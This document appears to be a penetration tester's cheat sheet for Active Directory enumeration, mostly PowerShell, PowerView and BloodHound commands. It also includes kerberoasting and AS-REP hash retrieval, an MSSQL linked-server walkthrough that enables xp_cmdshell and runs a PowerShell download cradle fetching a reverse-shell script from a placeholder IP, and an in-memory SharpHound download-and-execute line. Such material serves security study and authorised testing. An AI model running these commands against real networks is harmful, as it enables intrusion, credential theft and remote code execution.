Active Directory Enumeration

This page is a long term work in progress page and will be subject to multiple changes overtime.
The following page is designed to be somewhere between a cheat sheet and a generally informative page regarding Active Directory enumeration
Where possible a clear distinction will be made between using Powerview (Dev branch) for enumeration and native Windows components. The majority of the techniques are performed in the context of an unprivileged user account.

Enumeration Tools

Install AD PowerShell Module

# Install capability onto Windows 10/11
# PowerShell
Add-WindowsCapability -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~ -Online
DISM.exe /Online /add-capability /CapabilityName:Rsat.GroupPolicy.Management.Tools~~~~
# Then import module
Import-Module ActiveDirectory

Manual Copy

If you lack the ability or permissions to install the RSAT module you can clone the repo below and manually copy and import the AD module.
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory\ActiveDirectory.psd1

General Enumeration



# List all computers in current Domain
Get-ADComputer -Filter * | Select Name
Get-ADComputer -Filter * -Properties *
# List all computers and sort by Operating System
Get-ADComputer -Filter 'enabled -eq "true"' `
-Properties 'Name','Operatingsystem','OperatingSystemVersion','IPv4Address' |
Select-Object -Property 'Name','Operatingsystem','OperatingSystemVersion','IPv4Address' | `
Sort-Object -Property 'Operatingsystem'
# List all computers with select Operating System
Get-ADComputer -Filter 'OperatingSystem -Like "*Server*"' -Properties OperatingSystem | Select Name,OperatingSystem
# Get all computers by DNS HostName and then test connection
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
# Get Computer objects that have Delegation enabled
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties trustedfordelegation,serviceprincipalname,description


# List all computers in current Domain
# Ping all alive computers in current Domain
Get-DomainComputer -Ping
# List all computers with select Operating System
Get-DomainComputer -OperatingSystem "Windows 10 Pro"
# Get Computer objects that have Delegation enabled
Get-DomainComputer -Unconstrained -Properties trustedfordelegation,serviceprincipalname,description



# Domain Information
# Get Domain SID


# Domain Information
# Domain Policy Information
(Get-DomainPolicy –domain <Domain>)."systemaccess"
# Get Domain SID


$ADClass = [System.DirectoryServices.ActiveDirectory.Domain]

Domain Controller


# Get all Domain Dontrollers
# Get Primary Domain Controller
Get-ADForest | Select-Object -ExpandProperty RootDomain |
Get-ADDomain | Select-Object -Property PDCEmulator
# Get Domain Controller in different Domain
Get-ADDomainController -DomainName <Domain> -Discover


# Get all Domain Dontrollers
# Get Primary Domain Controller
Get-NetDomain | Select-Object 'PdcRoleOwner'
# Get Domain Controller in different Domain
Get-NetDomainController -Domain <Domain>

Domain Policy




(Get-DomainPolicy)."system access"
(Get-DomainPolicy)."Kerberos Policy"

Domain Trust


# Enumerate all Domains in the forest
Get-ADTrust -Filter *
Get-ADTrust -Identity Security.local
# Enumerate external trusts
3. (Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraForest-ne $True) -and (ForestTransitive -ne $True)' -Server $_}


# Enumerate all Domains in the forest
# Get all Domains in Forest then list each Domain trust
Get-NetForestDomain -Verbose | Get-NetDomainTrust
# Map all reachable Domain trusts
Invoke-MapDomainTrusts -LDAP
Invoke-MapDomainTrust | Select SourceDomain,TargetDomain,TrustType,TrustDirection
# List external trusts
Get-NetForestDomain -Verbose | Get-NetDomainTrust |?{$_.TrustType -eq 'External'}
# Enumerate trusts across the domain
# Find users in the current Domain that reside in Groups across trusts


# Get details about current Forest
Get-ADForest -Filter *
Get-ADForest -Identity <Forest>
# Get all Domains in current Forest
# Get global catalogs in current Forest
Get-ADForest | Select -ExpandProperty 'GlobalCatalogs'
# Map Forest trusts
Get-ADTrust -Filter 'msDS-TrustForestInfo -ne "$null"'
Get-ADForest | %{Get-ADTrust -Filter *}
# List only external trusts
(Get-ADForest).Domains | `
%{Get-ADTrust -Filter '(intraForest-ne $True) -and (ForestTransitive -ne $True)' -Server $_}
# Get details about current Forest
Get-NetForest -Forest <Forest>
# Get all Domains in current Forest
Get-NetForestDomain -Forest <Forest>
# Get global catalogs in current Forest
Get-NetForestCatalog -Forest <Forest>
# Map Forest trusts
Get-NetForestTrust -Forest <Forest>
# Get details about current Forest



# Get all Groups in the Domain
Get-ADGroup -Filter "*" | Select 'Name'
Get-ADGroup -Filter "*" -Properties "*"
# Search for Groups with partial wildcard
Get-ADGroup -Filter 'Name -Like "*admin*"' | Select 'Name'
# Get members of group
Get-ADGroupMember -Identity <Group> -Recursive
# Get Group member of select user
Get-ADPrincipalGroupMembership -Identity <Username>


# List all Groups in current Domain
Get-NetGroup -Domain <Domain>
# List all Groups in alternative Domain
Get-NetGroup –Domain <Domain>
# Search for Groups with partial wildcard
Get-NetGroup "*admin*"
# List all local groups on Domain system
Get-NetLocalGroup -ComputerName <Hostname> -Domain <Domain> -ListGroups
# Find users who are a member of a specific local group (Requires Admin)
Get-NetLocalGroup -ComputerName <Hostname> -GroupName "Administrators" -Recurse
# Get members of all the local groups on a machine (Requires Admin)
Get-NetLocalGroup -ComputerName <Hostname> -Recurse
# Identify interesting groups on a Domain Controller
Get-NetDomainController | Get-NetLocalGroup -Recurse
# Get local Group members
Get-NetGroupMember <Group>
# List Groups of which a user is a member of
Get-NetLocalGroup -Username '<Username>'

Group Policy


# Get all GPO's
Get-GPO -All
# Generate RSOP report
Get-GPResultantSetOfPolicy -ReportType Html -Path "C:\Windows\Temp\Report.html"


# Get GPO's in Domain
Get-NetGPO | Select DisplayName
# Get GPO applied to specific OU
Get-NetGPO -ADSpath `
((Get-NetOU "StudentMachines" -FullData).gplink.split(";")[0] -replace "^.")
# Get GPO applied to system
Get-NetGPO -Computer <Hostname>.<Domain> | Select DisplayName
# Get GPO Restricted Groups
# Get users which are in a local group of a machine using GPO
Find-GPOComputerAdmin –Computername <Hostname>
# Get machines where the given user is member of a specific group
Find-GPOLocation -UserName <Username> -Verbose

Organizational Units


# Get all OU's in Domain
Get-ADOrganizationalUnit -Filter * -Properties *


# Get all OU's in Domain
Get-NetOU -FullData



# List all users and properties
Get-ADuser -Filter * -Properties *
# List specific user account
Get-ADuser -Identity <Username> -Properties *
# List user accounts that are trusted for Delegation
Get-ADUser -Filter {TrustedForDelegation -eq $true}
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDs-AllowedToDelegateTo
# Get all users password last set time
Get-ADUser -Filter * -Properties * | select-object `
# Search for string in User Description field
Get-ADUser -Filter 'Description -like "*built*"' `
-Properties Description | Select-Object 'Name','Description'


# List all user accounts in Domain
# List specific user account
Get-NetUser -Username <Username>
# Get all properties for a user
# Get select propery from every user in Domain
Get-NetUser -Properties Name,Description,pwdlastset,badpwdcount | Sort Name
# Getcurrently logged on users from selected system
Get-NetLoggedon -ComputerName <Hostname>
# Get last logged user on a remote computer (Requires admin and remote registry)
Get-LastLoggedOn -ComputerName <Hostname>
# Get kerberoastable users
Get-DomainUser -SPN | select name,serviceprincipalname
# Get AS-REP roastable users
Get-DomainUser -PreauthNotRequired | select name
# Search for string in User Description field
Find-UserField -SearchField Description -SearchTerm 'built'


Access Control Lists


# Get ACLs for specific AD Object (No Guid resolve)
(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=Security,DC=local').Access


# Get ACLs for specific AD Object
Get-ObjectACL -SamAccountName <SAM> -ResolveGUIDs
# Get ACLs for specified prefix
Get-ObjectACL -ADSprefix 'CN=Administrators,CN=Users' -Verbose
# Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs
# Get ACL for specific path
Get-PathACL -Path "\\Security.local\SYSVOL"
# Get the ACLs associated with the specified LDAP path to be used for search
Get-ObjectAcl -ADSpath "LDAP://CN=DomainAdmins,CN=Users,DC=Security,DC=local" -ResolveGUIDs -Verbose



Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

AS-REP Roastable Users


Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where-Object {$_.DoesNotRequirePreAuth -eq $True -and $_.Enabled -eq $True} | Select-Object 'SamAccountName','DoesNotRequirePreAuth' | Sort-Object 'SamAccountName'


Get-DomainUser -PreauthNotRequired -Verbose | select userprincipalname
Get-ASREPHash -UserName '<user>' -Verbose


Delegation - Constrained


# Search both users and computers for Constrained Delegation
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo


# Get computer Constrained Delegation
Get-DomainComputer -TrustedToAuth
# Get user Constrained Delegation
Get-DomainUser -TrustedToAuth

Delegation - Unconstrained


# Get computers with Unconstrained Delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties trustedfordelegation,serviceprincipalname,description
# Get users with unconstrained Delegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties trustedfordelegation,serviceprincipalname,description


# Get computers with unconstrained delegation
Get-DomainComputer -Unconstrained | select -ExpandProperty name

Deleted Users

If we are a member of the AD group "AD Recycle Bin" we can view deleted user objects in PowerShell.
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *


LAPS Delegation

The following can be used to identify what objects have the ability to read the LAPS password property for a specified computer inside the domain


Get-NetComputer -ComputerName '<Hostname>' -FullData |
Select-Object -ExpandProperty distinguishedname |
ForEach-Object { $_.substring($_.indexof('OU')) } | ForEach-Object {
Get-ObjectAcl -ResolveGUIDs -DistinguishedName $_
} | Where-Object {
($_.ObjectType -like 'ms-Mcs-AdmPwd') -and
($_.ActiveDirectoryRights -match 'ReadProperty')
} | ForEach-Object {
Convert-NameToSid $_.IdentityReference
} | Select-Object -ExpandProperty SID | Get-ADObject
Get ACL's where objects are allowed to read the LAPS password property.


Get-NetOU -FullData |
Get-ObjectAcl -ResolveGUIDs |
Where-Object {
($_.ObjectType -like 'ms-Mcs-AdmPwd') -and
($_.ActiveDirectoryRights -match 'ReadProperty')
} | ForEach-Object {
$_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSid $_.IdentityReference).SID;



# Discovery (SPN Scanning)
# Check Accessibility
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
#Gather Information
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Search for database links to remote servers
Get-SQLServerLink -Instance <Instance> -Verbose
Get-SQLServerLinkCrawl -Instance <Instance> -Verbose
# Where instance user matches "sa"
Get-SQLServerLinkCrawl -Instance <Instance> | Where-Object {$_.User -match 'sa'}
# Execute commands ( If xp_cmdshell or RPC out is set to enabled)
# If AV is enabled run cradled scripts with functions inline with the script
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "<Instance>"
Get-SQLServerLinkCrawl -Instance <Instance> "exec master..xp_cmdshell 'whoami'" -Query
# Scan for misconfigurations and vulnerabilities
Invoke-SQLAudit -Verbose -Instance <Server>

SQL Commands

# Search for database links
select * from master..sysservers
# Manually searching for Database Links
select * from openquery("<Server>",'select * from master..sysservers')
# Openquery queries can be chained to access links within links (nested links)
select * from openquery("dcorp-sql1",'select * from openquery("<Server>",''select * from master..sysservers'')')
# From the initial SQL server, OS commands can be executed using nested link queries
select * from openquery("dcorp-sql1",'select * from openquery("<Server>",''select * from openquery("",''''[email protected]@version as version;exec master..xp_cmdshell "powershellwhoami)'''')'')')

MSSQL - PowerupSQL exploit example

Search for accessible instances in current domain
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
ComputerName Instance Status
------------ -------- ------,1433 Accessible,1433 Not Accessible
Run the Get-SQLServerLinkCrawl on an accessible instance.
Get-SQLServerLinkCrawl -Instance -Verbose
Version : SQL Server 2017
Instance : mssql-master-srv
CustomQuery :
Sysadmin : 1
Path : {mssql-srv, mssql-srv-eu, mssql-master-srv}
User : sa
Links :
From the results above the server mssql-master-srv is the enterprise level MSSSQL server running with "sa" privileges. The path field shows in order how this is accessible starting with mssql-srv. We can check for command execution specifying the first accessible instance in the path which, in this case is mssql-srv.
Get-SQLServerLinkCrawl -Instance "mssql-srv" -Query "exec master..xp_cmdshell 'whoami'"
Version : SQL Server 2017
Instance : mssql-master-srv
CustomQuery : {nt authority\network service, }
Sysadmin : 1
Path : {mssql-srv, mssql-srv-eu, mssql-master-srv}
User : sa
Links :
With confirmed command execution under the "sa" account on the mssql-master-srv we can then connect remotely by executing a PowerShell download cradle
Get-SQLServerLinkCrawl -Instance mssql-srv -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://<IP>/Invoke-PowerShellTcp.ps1'')"' -E df



# Find available shares on hosts in the current Domain
Invoke-ShareFinder -Verbose
# Exclude default shares
Invoke-ShareFinder -ExcludePrint -ExcludeStandard -ExcludeIPC -Verbose
# Find sensitive files on system on the Domain
Invoke-FileFinder -verbose
# Get all file servers on Domain



# Get all accounts where SPN is not null
Get-ADUser -Filter * -Properties * | Where {$_.ServicePrincipalName -ne $null} | Select 'Name','ServicePrincipalName'
# Exclude krbtgt
Get-ADUser -Filter * -Properties * | Where {$_.ServicePrincipalName -ne $null -and $_.Name -ne 'krbtgt'} | Select 'Name','ServicePrincipalName'


# find all users with an SPN set (likely service accounts)
Get-DomainUser -SPN
# find all service accounts in "Domain Admins"
Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'}
# Get Specific user SPN hash
Get-DomainUser -Identity <User> | Get-DomainSPNTicket | select -ExpandProperty Hash

User Hunting


# Find all machines on domain where current user has local admin privileges
Find-LocalAdminAccess -Verbose
# Find computers where domain administrators or specified user / group has session
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth # Makes less noise
Invoke-UserHunter -CheckAccess # Confirm access
# Find local admins on all machines of the domain (needs local admin rights on target).
Invoke-EnumerateLocalAdmin –Verbose
# Get actively logged users on a computer (needs local admin rights on the target)
Get-NetLoggedon –ComputerName <Hostname>
# Get locally logged users on a computer (needs remote registry on the target - started by-default on server OS)
Get-LoggedonLocal -ComputerName <Hostname>
# Get the last logged user on a computer (needs administrative rights and remote registry on the target)
Get-LastLoggedOn –ComputerName <Hostname>
# Poll asystem for when a particular user accesses a resource
Invoke-UserHunter -ComputerName <Hostname> -Poll 100 -UserName <user> -Delay 5 -Verbose

Administrative User Identification

Local System Enumeration

Windows allows any basic authenticated domain user to enumerate the members of a local group on a remote machine.


Get-NetLocalGroup -ComputerName <Hostname>
# With API Call
Get-NetLocalGroup -ComputerName <Hostname> -API
# Get list of effective users who can access a remote host
Get-NetLocalGroup -ComputerName <Hostname> -Recurse

WinNT Service

([ADSI]'WinNT://<Hostname>/Administrators').psbase.Invoke('Members') |
%{$_.GetType().InvokeMember('Name', 'GetProperty', $null, $_, $null)}

Domain Group Enumeration


# Find security groups which contain "*admin*".
get-adgroup -filter {GroupCategory -eq 'Security' -AND Name -like '*admin*'}


# Retrieve members of the Domain Admins group
Get-NetGroupMember -GroupName "Domain Admins"

AdminCount = 1

This can produce false positives as the AdminCount value is not always automatically updated when an account has been disabled or removed from a Group that provides privileged permissions.


Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" | Select-Object DistinguishedName, Name


# Identify Privileged accounts without querying groups
Get-NetUser -AdminCount | select name,whencreated,pwdlastset,lastlogo

AD Groups with Local Admin Rights

Often times in domain environments domain user accounts are given member to a workstations local group 'Administrators'.


Get-NetGroupMember -GroupName "Local Admin"

Virtual Admins

Virtual Admins usually have full access to the virtualization platform identifying and owning these accounts can often give total control over to an attacker.


Get-NetGroup "*Hyper*" | Get-NetGroupMember
Get-NetGroup "*VMWare*" | Get-NetGroupMember

Systems with Admin Rights

Finding computer accounts with a $ sign at the end of the hostname in an admin group we can then compromise the system and obtain SYSTEM privileges. The SYSTEM account on the compromised computer would then have AD admin privileges.


Get-NetGroup "*admins*" | Get-NetGroupMember -Recurse |?{$_.MemberName -Like '*$'}




# Standard local execution
./SharpHound.exe --CollectionMethod All
Invoke-BloodHound --CollectionMethod All
Invoke-BloodHound --CollectionMethod All -CompressData -RemoveCSV
Invoke-BloodHound -CollectionMethod All,GPOLocalGroup
Invoke-BloodHound -CollectionMethod LoggedOn
# Specify different domain and run in stealth mode and collect only RDP data
Invoke-BloodHound --d <Domain> --Stealth --CollectionMethod RDP
# Run in context of different user
runas.exe /netonly /user:domain\user 'powershell.exe -nop -exec bypass'
# Download and execute in memory
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('http://<IP>:/SharpHound.ps1');Invoke-BloodHound"
# Metasploit
use post/windows/gather/bloodhound

Custom Queries

Add the queries below into BloodHound for further queries.
Replace the customqueries.json with one of the below files to update the custom queries within Bloodhound. Remember to restart Bloodhound after changing the JSON file.
Locate custom queries file
sudo find / -type f -name customqueries.json 2>/dev/null
Note: Keep in mind that Bloodhound captures a 'snapshot' of the current state of Active Directory at the time of capture and as such results may change when captured again in the future.

Additional Notes

If Constrained Language mode is enabled on the target Domain Controller, Powerview will be heavily restricted for Domain enumeration. However, the AD PowerShell module will not be limited and allow Domain enumeration to continue.

Lab Reviews: